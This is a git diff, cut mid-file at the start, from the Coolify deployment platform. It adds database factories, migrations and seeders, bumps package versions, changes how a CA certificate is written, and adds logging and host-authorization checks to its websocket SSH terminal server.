env('DB_DISABLE_PREPARES', false), ], ], diff --git a/config/logging.php b/config/logging.php index 1a75978f3..1dbb1135f 100644 --- a/config/logging.php +++ b/config/logging.php @@ -123,7 +123,7 @@ 'driver' => 'daily', 'path' => storage_path('logs/scheduled.log'), 'level' => 'debug', - 'days' => 1, + 'days' => 7, ], 'scheduled-errors' => [ diff --git a/database/factories/EnvironmentFactory.php b/database/factories/EnvironmentFactory.php new file mode 100644 index 000000000..98959197d --- /dev/null +++ b/database/factories/EnvironmentFactory.php @@ -0,0 +1,16 @@ + fake()->unique()->word(), + 'project_id' => 1, + ]; + } +} diff --git a/database/factories/ProjectFactory.php b/database/factories/ProjectFactory.php new file mode 100644 index 000000000..0b2b72b8a --- /dev/null +++ b/database/factories/ProjectFactory.php @@ -0,0 +1,16 @@ + fake()->unique()->company(), + 'team_id' => 1, + ]; + } +} diff --git a/database/factories/ServiceFactory.php b/database/factories/ServiceFactory.php new file mode 100644 index 000000000..62c5f7cda --- /dev/null +++ b/database/factories/ServiceFactory.php @@ -0,0 +1,19 @@ + fake()->unique()->word(), + 'destination_type' => \App\Models\StandaloneDocker::class, + 'destination_id' => 1, + 'environment_id' => 1, + 'docker_compose_raw' => 'version: "3"', + ]; + } +} diff --git a/database/factories/StandaloneDockerFactory.php b/database/factories/StandaloneDockerFactory.php new file mode 100644 index 000000000..d37785189 --- /dev/null +++ b/database/factories/StandaloneDockerFactory.php @@ -0,0 +1,18 @@ + fake()->uuid(), + 'name' => fake()->unique()->word(), + 'network' => 'coolify', + 'server_id' => 1, + ]; + } +} diff --git a/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php new file mode 100644 index 000000000..abbae3573 --- /dev/null +++ b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php @@ -0,0 +1,36 @@ +string('comment', 256)->nullable(); + }); + + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->string('comment', 256)->nullable(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('environment_variables', function (Blueprint $table) { + $table->dropColumn('comment'); + }); + + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->dropColumn('comment'); + }); + } +}; diff --git a/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php new file mode 100644 index 000000000..cd9d98a1c --- /dev/null +++ b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php @@ -0,0 +1,44 @@ +text('health_check_type')->default('http')->after('health_check_enabled'); + }); + } + + if (! Schema::hasColumn('applications', 'health_check_command')) { + Schema::table('applications', function (Blueprint $table) { + $table->text('health_check_command')->nullable()->after('health_check_type'); + }); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + if (Schema::hasColumn('applications', 'health_check_type')) { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn('health_check_type'); + }); + } + + if (Schema::hasColumn('applications', 'health_check_command')) { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn('health_check_command'); + }); + } + } +}; diff --git a/database/migrations/2026_02_26_163035_add_stripe_refunded_at_to_subscriptions_table.php b/database/migrations/2026_02_26_163035_add_stripe_refunded_at_to_subscriptions_table.php new file mode 100644 index 000000000..76420fb5c --- /dev/null +++ b/database/migrations/2026_02_26_163035_add_stripe_refunded_at_to_subscriptions_table.php @@ -0,0 +1,25 @@ +timestamp('stripe_refunded_at')->nullable()->after('stripe_past_due'); + }); + } + + public function down(): void + { + Schema::table('subscriptions', function (Blueprint $table) { + $table->dropColumn('stripe_refunded_at'); + }); + } +}; diff --git a/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php b/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php new file mode 100644 index 000000000..defebcce4 --- /dev/null +++ b/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php @@ -0,0 +1,60 @@ +integer('public_port_timeout')->nullable()->default(3600)->after('public_port'); + }); + } + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + $tables = [ + 'standalone_postgresqls', + 'standalone_mysqls', + 'standalone_mariadbs', + 'standalone_redis', + 'standalone_mongodbs', + 'standalone_clickhouses', + 'standalone_keydbs', + 'standalone_dragonflies', + 'service_databases', + ]; + + foreach ($tables as $table) { + if (Schema::hasTable($table) && Schema::hasColumn($table, 'public_port_timeout')) { + Schema::table($table, function (Blueprint $table) { + $table->dropColumn('public_port_timeout'); + }); + } + } + } +}; diff --git a/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php b/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php new file mode 100644 index 000000000..cea25c3ba --- /dev/null +++ b/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php @@ -0,0 +1,32 @@ +json('server_metadata')->nullable(); + }); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + if (Schema::hasColumn('servers', 'server_metadata')) { + Schema::table('servers', function (Blueprint $table) { + $table->dropColumn('server_metadata'); + }); + } + } +}; diff --git a/database/migrations/2026_03_16_000000_add_is_preview_suffix_enabled_to_volume_tables.php b/database/migrations/2026_03_16_000000_add_is_preview_suffix_enabled_to_volume_tables.php new file mode 100644 index 000000000..a1f1d9ea1 --- /dev/null +++ b/database/migrations/2026_03_16_000000_add_is_preview_suffix_enabled_to_volume_tables.php @@ -0,0 +1,30 @@ +boolean('is_preview_suffix_enabled')->default(true)->after('is_based_on_git'); + }); + + Schema::table('local_persistent_volumes', function (Blueprint $table) { + $table->boolean('is_preview_suffix_enabled')->default(true)->after('host_path'); + }); + } + + public function down(): void + { + Schema::table('local_file_volumes', function (Blueprint $table) { + $table->dropColumn('is_preview_suffix_enabled'); + }); + + Schema::table('local_persistent_volumes', function (Blueprint $table) { + $table->dropColumn('is_preview_suffix_enabled'); + }); + } +}; diff --git a/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php b/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php new file mode 100644 index 000000000..6b4fb690d --- /dev/null +++ b/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php @@ -0,0 +1,39 @@ +string('uuid')->nullable()->after('id'); + }); + + DB::table('local_persistent_volumes') + ->whereNull('uuid') + ->orderBy('id') + ->chunk(1000, function ($volumes) { + foreach ($volumes as $volume) { + DB::table('local_persistent_volumes') + ->where('id', $volume->id) + ->update(['uuid' => (string) new Cuid2]); + } + }); + + Schema::table('local_persistent_volumes', function (Blueprint $table) { + $table->string('uuid')->nullable(false)->unique()->change(); + }); + } + + public function down(): void + { + Schema::table('local_persistent_volumes', function (Blueprint $table) { + $table->dropColumn('uuid'); + }); + } +}; diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index 18ffbe166..2a0273e0f 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -4,6 +4,7 @@ use App\Models\Application; use App\Models\GithubApp; +use App\Models\GitlabApp; use App\Models\StandaloneDocker; use Illuminate\Database\Seeder; @@ -98,5 +99,51 @@ public function run(): void CMD ["sh", "-c", "echo Crashing in 5 seconds... && sleep 5 && exit 1"] ', ]); + Application::create([ + 'uuid' => 'github-deploy-key', + 'name' => 'GitHub Deploy Key Example', + 'fqdn' => 'http://github-deploy-key.127.0.0.1.sslip.io', + 'git_repository' => 'git@github.com:coollabsio/coolify-examples-deploy-key.git', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 0, + 'source_type' => GithubApp::class, + 'private_key_id' => 1, + ]); + Application::create([ + 'uuid' => 'gitlab-deploy-key', + 'name' => 'GitLab Deploy Key Example', + 'fqdn' => 'http://gitlab-deploy-key.127.0.0.1.sslip.io', + 'git_repository' => 'git@gitlab.com:coollabsio/php-example.git', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GitlabApp::class, + 'private_key_id' => 1, + ]); + Application::create([ + 'uuid' => 'gitlab-public-example', + 'name' => 'GitLab Public Example', + 'fqdn' => 'http://gitlab-public.127.0.0.1.sslip.io', + 'git_repository' => 'https://gitlab.com/andrasbacsai/coolify-examples.git', + 'base_directory' => '/astro/static', + 'publish_directory' => '/dist', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GitlabApp::class, + ]); } } diff --git a/database/seeders/ApplicationSettingsSeeder.php b/database/seeders/ApplicationSettingsSeeder.php index 8e439fd16..87236df8a 100644 --- a/database/seeders/ApplicationSettingsSeeder.php +++ b/database/seeders/ApplicationSettingsSeeder.php @@ -15,5 +15,12 @@ public function run(): void $application_1 = Application::find(1)->load(['settings']); $application_1->settings->is_debug_enabled = false; $application_1->settings->save(); + + $gitlabPublic = Application::where('uuid', 'gitlab-public-example')->first(); + if ($gitlabPublic) { + $gitlabPublic->load(['settings']); + $gitlabPublic->settings->is_static = true; + $gitlabPublic->settings->save(); + } } } diff --git a/database/seeders/CaSslCertSeeder.php b/database/seeders/CaSslCertSeeder.php index 1b71a5e43..5d092d2e8 100644 --- a/database/seeders/CaSslCertSeeder.php +++ b/database/seeders/CaSslCertSeeder.php @@ -26,12 +26,14 @@ public function run() } $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($caCert->ssl_certificate); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$caCert->ssl_certificate}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/docker-compose-maxio.dev.yml b/docker-compose-maxio.dev.yml index e2650fb7b..bbb483d7a 100644 --- a/docker-compose-maxio.dev.yml +++ b/docker-compose-maxio.dev.yml @@ -73,11 +73,13 @@ services: volumes: - ./storage:/var/www/html/storage - ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js + - ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js environment: SOKETI_DEBUG: "false" SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index acc84b61a..3af443c83 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -73,11 +73,13 @@ services: volumes: - ./storage:/var/www/html/storage - ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js + - ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js environment: SOKETI_DEBUG: "false" SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 46e0e88e5..0bd4ae2dd 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.10' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.11' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" @@ -72,6 +72,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml index 3116a4185..ca233356a 100644 --- a/docker-compose.windows.yml +++ b/docker-compose.windows.yml @@ -113,6 +113,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker/coolify-realtime/Dockerfile b/docker/coolify-realtime/Dockerfile index 18c2f9301..99157268b 100644 --- a/docker/coolify-realtime/Dockerfile +++ b/docker/coolify-realtime/Dockerfile @@ -16,6 +16,7 @@ RUN npm i RUN npm rebuild node-pty --update-binary COPY docker/coolify-realtime/soketi-entrypoint.sh /soketi-entrypoint.sh COPY docker/coolify-realtime/terminal-server.js /terminal/terminal-server.js +COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js # Install Cloudflared based on architecture RUN if [ "${TARGETPLATFORM}" = "linux/amd64" ]; then \ diff --git a/docker/coolify-realtime/package-lock.json b/docker/coolify-realtime/package-lock.json index c445c972c..1c49ff930 100644 --- a/docker/coolify-realtime/package-lock.json +++ b/docker/coolify-realtime/package-lock.json @@ -5,29 +5,29 @@ "packages": { "": { "dependencies": { - "@xterm/addon-fit": "0.10.0", - "@xterm/xterm": "5.5.0", - "axios": "1.12.0", - "cookie": "1.0.2", - "dotenv": "16.5.0", - "node-pty": "1.0.0", - "ws": "8.18.1" + "@xterm/addon-fit": "0.11.0", + "@xterm/xterm": "6.0.0", + "axios": "1.13.6", + "cookie": "1.1.1", + "dotenv": "17.3.1", + "node-pty": "1.1.0", + "ws": "8.19.0" } }, "node_modules/@xterm/addon-fit": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.10.0.tgz", - "integrity": "sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==", - "license": "MIT", - "peerDependencies": { - "@xterm/xterm": "^5.0.0" - } + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz", + "integrity": "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g==", + "license": "MIT" }, "node_modules/@xterm/xterm": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", - "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", - "license": "MIT" + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz", + "integrity": "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg==", + "license": "MIT", + "workspaces": [ + "addons/*" + ] }, "node_modules/asynckit": { "version": "0.4.0", @@ -36,13 +36,13 @@ "license": "MIT" }, "node_modules/axios": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.12.0.tgz", - "integrity": "sha512-oXTDccv8PcfjZmPGlWsPSwtOJCZ/b6W5jAMCNcfwJbCzDckwG0jrYJFaWH1yvivfCXjVzV/SPDEhMB3Q+DSurg==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz", + "integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==", "license": "MIT", "dependencies": { - "follow-redirects": "^1.15.6", - "form-data": "^4.0.4", + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", "proxy-from-env": "^1.1.0" } }, @@ -72,12 +72,16 @@ } }, "node_modules/cookie": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz", - "integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", + "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", "license": "MIT", "engines": { "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" } }, "node_modules/delayed-stream": { @@ -90,9 +94,9 @@ } }, "node_modules/dotenv": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.5.0.tgz", - "integrity": "sha512-m/C+AwOAr9/W1UOIZUo232ejMNnJAJtYQjUbHoNTBNTJSvqzzDh7vnrei3o3r3m9blf6ZoDkvcw0VmozNRFJxg==", + "version": "17.3.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.3.1.tgz", + "integrity": "sha512-IO8C/dzEb6O3F9/twg6ZLXz164a2fhTnEWb95H23Dm4OuN+92NmEAlTrupP9VW6Jm3sO26tQlqyvyi4CsnY9GA==", "license": "BSD-2-Clause", "engines": { "node": ">=12" @@ -161,9 +165,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.9", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz", - "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", "funding": [ { "type": "individual", @@ -181,9 +185,9 @@ } }, "node_modules/form-data": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", - "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", "license": "MIT", "dependencies": { "asynckit": "^0.4.0", @@ -323,20 +327,20 @@ "node": ">= 0.6" } }, - "node_modules/nan": { - "version": "2.23.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz", - "integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==", + "node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", "license": "MIT" }, "node_modules/node-pty": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz", - "integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.1.0.tgz", + "integrity": "sha512-20JqtutY6JPXTUnL0ij1uad7Qe1baT46lyolh2sSENDd4sTzKZ4nmAFkeAARDKwmlLjPx6XKRlwRUxwjOy+lUg==", "hasInstallScript": true, "license": "MIT", "dependencies": { - "nan": "^2.17.0" + "node-addon-api": "^7.1.0" } }, "node_modules/proxy-from-env": { @@ -346,9 +350,9 @@ "license": "MIT" }, "node_modules/ws": { - "version": "8.18.1", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.1.tgz", - "integrity": "sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==", + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", + "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", "license": "MIT", "engines": { "node": ">=10.0.0" diff --git a/docker/coolify-realtime/package.json b/docker/coolify-realtime/package.json index aec3dbe3d..ebb7122c8 100644 --- a/docker/coolify-realtime/package.json +++ b/docker/coolify-realtime/package.json @@ -2,12 +2,12 @@ "private": true, "type": "module", "dependencies": { - "@xterm/addon-fit": "0.10.0", - "@xterm/xterm": "5.5.0", - "cookie": "1.0.2", - "axios": "1.12.0", - "dotenv": "16.5.0", - "node-pty": "1.0.0", - "ws": "8.18.1" + "@xterm/addon-fit": "0.11.0", + "@xterm/xterm": "6.0.0", + "cookie": "1.1.1", + "axios": "1.13.6", + "dotenv": "17.3.1", + "node-pty": "1.1.0", + "ws": "8.19.0" } } \ No newline at end of file diff --git a/docker/coolify-realtime/terminal-server.js b/docker/coolify-realtime/terminal-server.js index 2607d2aec..3ae77857f 100755 --- a/docker/coolify-realtime/terminal-server.js +++ b/docker/coolify-realtime/terminal-server.js @@ -4,8 +4,33 @@ import pty from 'node-pty'; import axios from 'axios'; import cookie from 'cookie'; import 'dotenv/config'; +import { + extractHereDocContent, + extractSshArgs, + extractTargetHost, + extractTimeout, + isAuthorizedTargetHost, +} from './terminal-utils.js'; const userSessions = new Map(); +const terminalDebugEnabled = ['local', 'development'].includes( + String(process.env.APP_ENV || process.env.NODE_ENV || '').toLowerCase() +); + +function logTerminal(level, message, context = {}) { + if (!terminalDebugEnabled) { + return; + } + + const formattedMessage = `[TerminalServer] ${message}`; + + if (Object.keys(context).length > 0) { + console[level](formattedMessage, context); + return; + } + + console[level](formattedMessage); +} const server = http.createServer((req, res) => { if (req.url === '/ready') { @@ -31,9 +56,19 @@ const getSessionCookie = (req) => { const verifyClient = async (info, callback) => { const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(info.req); + const requestContext = { + remoteAddress: info.req.socket?.remoteAddress, + origin: info.origin, + sessionCookieName, + hasXsrfToken: Boolean(xsrfToken), + hasLaravelSession: Boolean(laravelSession), + }; + + logTerminal('log', 'Verifying websocket client.', requestContext); // Verify presence of required tokens if (!laravelSession || !xsrfToken) { + logTerminal('warn', 'Rejecting websocket client because required auth tokens are missing.', requestContext); return callback(false, 401, 'Unauthorized: Missing required tokens'); } @@ -47,13 +82,22 @@ const verifyClient = async (info, callback) => { }); if (response.status === 200) { - // Authentication successful + logTerminal('log', 'Websocket client authentication succeeded.', requestContext); callback(true); } else { + logTerminal('warn', 'Websocket client authentication returned a non-success status.', { + ...requestContext, + status: response.status, + }); callback(false, 401, 'Unauthorized: Invalid credentials'); } } catch (error) { - console.error('Authentication error:', error.message); + logTerminal('error', 'Websocket client authentication failed.', { + ...requestContext, + error: error.message, + responseStatus: error.response?.status, + responseData: error.response?.data, + }); callback(false, 500, 'Internal Server Error'); } }; @@ -65,28 +109,62 @@ wss.on('connection', async (ws, req) => { const userId = generateUserId(); const userSession = { ws, userId, ptyProcess: null, isActive: false, authorizedIPs: [] }; const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req); + const connectionContext = { + userId, + remoteAddress: req.socket?.remoteAddress, + sessionCookieName, + hasXsrfToken: Boolean(xsrfToken), + hasLaravelSession: Boolean(laravelSession), + }; // Verify presence of required tokens if (!laravelSession || !xsrfToken) { + logTerminal('warn', 'Closing websocket connection because required auth tokens are missing.', connectionContext); ws.close(401, 'Unauthorized: Missing required tokens'); return; } - const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, { - headers: { - 'Cookie': `${sessionCookieName}=${laravelSession}`, - 'X-XSRF-TOKEN': xsrfToken - }, - }); - userSession.authorizedIPs = response.data.ipAddresses || []; + + try { + const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, { + headers: { + 'Cookie': `${sessionCookieName}=${laravelSession}`, + 'X-XSRF-TOKEN': xsrfToken + }, + }); + userSession.authorizedIPs = response.data.ipAddresses || []; + logTerminal('log', 'Fetched authorized terminal hosts for websocket session.', { + ...connectionContext, + authorizedIPs: userSession.authorizedIPs, + }); + } catch (error) { + logTerminal('error', 'Failed to fetch authorized terminal hosts.', { + ...connectionContext, + error: error.message, + responseStatus: error.response?.status, + responseData: error.response?.data, + }); + ws.close(1011, 'Failed to fetch terminal authorization data'); + return; + } + userSessions.set(userId, userSession); + logTerminal('log', 'Terminal websocket connection established.', { + ...connectionContext, + authorizedHostCount: userSession.authorizedIPs.length, + }); ws.on('message', (message) => { handleMessage(userSession, message); - }); ws.on('error', (err) => handleError(err, userId)); - ws.on('close', () => handleClose(userId)); - + ws.on('close', (code, reason) => { + logTerminal('log', 'Terminal websocket connection closed.', { + userId, + code, + reason: reason?.toString(), + }); + handleClose(userId); + }); }); const messageHandlers = { @@ -98,6 +176,7 @@ const messageHandlers = { }, pause: (session) => session.ptyProcess.pause(), resume: (session) => session.ptyProcess.resume(), + ping: (session) => session.ws.send('pong'), checkActive: (session, data) => { if (data === 'force' && session.isActive) { killPtyProcess(session.userId); @@ -110,12 +189,34 @@ const messageHandlers = { function handleMessage(userSession, message) { const parsed = parseMessage(message); - if (!parsed) return; + if (!parsed) { + logTerminal('warn', 'Ignoring websocket message because JSON parsing failed.', { + userId: userSession.userId, + rawMessage: String(message).slice(0, 500), + }); + return; + } + + logTerminal('log', 'Received websocket message.', { + userId: userSession.userId, + keys: Object.keys(parsed), + isActive: userSession.isActive, + }); Object.entries(parsed).forEach(([key, value]) => { const handler = messageHandlers[key]; - if (handler && (userSession.isActive || key === 'checkActive' || key === 'command')) { + if (handler && (userSession.isActive || key === 'checkActive' || key === 'command' || key === 'ping')) { handler(userSession, value); + } else if (!handler) { + logTerminal('warn', 'Ignoring websocket message with unknown handler key.', { + userId: userSession.userId, + key, + }); + } else { + logTerminal('warn', 'Ignoring websocket message because no PTY session is active yet.', { + userId: userSession.userId, + key, + }); } }); } @@ -124,7 +225,9 @@ function parseMessage(message) { try { return JSON.parse(message); } catch (e) { - console.error('Failed to parse message:', e); + logTerminal('error', 'Failed to parse websocket message.', { + error: e?.message ?? e, + }); return null; } } @@ -134,6 +237,9 @@ async function handleCommand(ws, command, userId) { if (userSession && userSession.isActive) { const result = await killPtyProcess(userId); if (!result) { + logTerminal('warn', 'Rejecting new terminal command because the previous PTY could not be terminated.', { + userId, + }); // if terminal is still active, even after we tried to kill it, dont continue and show error ws.send('unprocessable'); return; @@ -147,13 +253,30 @@ async function handleCommand(ws, command, userId) { // Extract target host from SSH command const targetHost = extractTargetHost(sshArgs); + logTerminal('log', 'Parsed terminal command metadata.', { + userId, + targetHost, + timeout, + sshArgs, + authorizedIPs: userSession?.authorizedIPs ?? [], + }); + if (!targetHost) { + logTerminal('warn', 'Rejecting terminal command because no target host could be extracted.', { + userId, + sshArgs, + }); ws.send('Invalid SSH command: No target host found'); return; } // Validate target host against authorized IPs - if (!userSession.authorizedIPs.includes(targetHost)) { + if (!isAuthorizedTargetHost(targetHost, userSession.authorizedIPs)) { + logTerminal('warn', 'Rejecting terminal command because target host is not authorized.', { + userId, + targetHost, + authorizedIPs: userSession.authorizedIPs, + }); ws.send(`Unauthorized: Target host ${targetHost} not in authorized list`); return; } @@ -169,6 +292,11 @@ async function handleCommand(ws, command, userId) { // NOTE: - Initiates a process within the Terminal container // Establishes an SSH connection to root@coolify with RequestTTY enabled // Executes the 'docker exec' command to connect to a specific container + logTerminal('log', 'Spawning PTY process for terminal session.', { + userId, + targetHost, + timeout, + }); const ptyProcess = pty.spawn('ssh', sshArgs.concat([hereDocContent]), options); userSession.ptyProcess = ptyProcess; @@ -182,7 +310,11 @@ async function handleCommand(ws, command, userId) { // when parent closes ptyProcess.onExit(({ exitCode, signal }) => { - console.error(`Process exited with code ${exitCode} and signal ${signal}`); + logTerminal(exitCode === 0 ? 